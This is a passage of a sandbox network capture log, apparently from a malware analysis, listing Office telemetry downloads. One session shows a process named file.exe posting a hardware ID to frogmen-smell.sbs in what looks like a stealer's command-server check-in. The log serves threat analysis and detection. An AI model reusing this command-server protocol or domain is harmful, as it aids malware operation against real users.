2024-11-15 18:39:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:30 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 919dae56-201e-0096-657a-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183930Z-164f84587bfjxw6fhC1DFWq94400000001w0000000004x7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:30 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:30 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:30 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:30 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183930Z-16547b76f7f67wxlhC1DFWah9w0000000nk0000000005yzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:30 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:30 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:30 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:30 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 0f1e6d88-801e-007b-5eaf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183930Z-1866b5c5fbbvz6qbhC1DFWsyms00000000w000000000d05y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:30 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:31 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:31 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:31 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: f5036dc0-201e-0085-07a2-3434e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183931Z-164f84587bfbvgrghC1DFWbs7w00000001f000000000t9f4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:31 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:31 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:31 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:31 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 7f14e84b-501e-00a3-1aaf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183931Z-16547b76f7fnlq8chC1DFWxnen00000001e0000000006ffc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:31 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:31 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:31 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:31 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 74785e04-801e-00ac-6ff8-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183931Z-164f84587bfdl84ghC1DFWbbhc00000001v000000000fv2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:31 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.7	49797	172.67.174.133	443	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:31 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: frogmen-smell.sbs
2024-11-15 18:39:31 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 34 34 46 46 41 43 37 36 45 33 46 30 45 32 42 43 30 31 41 32 33 41 41 34 45 37 30 39 36 45 35 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=344FFAC76E3F0E2BC01A23AA4E7096E5
2024-11-15 18:39:32 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v0mc0m8j8i6fpnk9b0j5ehj4oe; expires=Tue, 11-Mar-2025 12:26:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xZFDub8YDw5rZD6HdrgiIuP2G0VSzmBjM1Oh5bTUIVY8W%2BMGXwKyrc7O0vJ%2FFzW%2BP%2BzNX9qGQb62yM9FhKm6h%2FSb5ZKfQjFmGUdqigNG26%2F04DJYaawVmHDJ6OtvM2qeBDZyQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e315d4f3d1b2d41-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2270&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=1217318&cwnd=251&unsent_bytes=0&cid=4d6770cb78cc4f1a&ts=543&x=0"
2024-11-15 18:39:32 UTC	214	IN	Data Raw: 64 30 0d 0a 31 2f 6a 67 6d 7a 70 43 76 42 51 58 30 35 6d 56 77 70 70 30 61 37 55 59 79 73 78 75 2f 6a 72 6f 53 77 33 4b 62 53 66 2f 4d 6c 75 4d 67 38 4c 75 47 48 69 65 66 47 4f 6e 36 61 2b 65 74 53 68 45 68 43 44 2f 34 6c 7a 50 44 38 5a 36 50 50 6c 44 46 73 6c 75 64 4c 69 65 68 73 63 56 4a 74 6c 79 4f 62 62 68 38 4f 43 32 56 67 33 42 4f 76 44 38 51 74 78 66 79 6e 45 38 74 30 46 63 33 55 64 35 37 64 71 49 37 30 34 79 68 6b 67 34 6a 37 61 6b 2b 71 39 61 57 59 51 74 35 50 31 66 7a 52 54 5a 66 56 48 6c 48 6c 4f 61 55 7a 61 4c 31 35 4c 36 56 43 62 54 65 54 6d 32 34 66 44 67 74 6c 59 4e 77 54 72 77 2f 45 4c 63 58 38 70 78 50 4c 63 77 0d 0a Data Ascii: d01/jgmzpCvBQX05mVwpp0a7UYysxu/jroSw3KbSf/MluMg8LuGHiefGOn6a+etShEhCD/4lzPD8Z6PPlDFsludLiehscVJtlyObbh8OC2Vg3BOvD8QtxfynE8t0Fc3Ud57dqI704yhkg4j7ak+q9aWYQt5P1fzRTZfVHlHlOaUzaL15L6VCbTeTm24fDgtlYNwTrw/ELcX8pxPLcw
2024-11-15 18:39:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:31 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:31 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:31 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183931Z-1866b5c5fbb5hnj5hC1DFW18sc00000001ug00000000at69 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:31 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:31 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: ae8c5328-c01e-0034-77cb-362af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183932Z-164f84587bfdl84ghC1DFWbbhc00000001ug00000000gf0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:32 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 22c073a7-501e-0016-2540-36181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183932Z-1866b5c5fbbldb6rhC1DFW4bew00000001y00000000071vt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:32 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 5c63f72a-901e-0067-46a3-34b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183932Z-1866b5c5fbbqjkpbhC1DFWt4h400000001x0000000007s4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:32 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:32 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
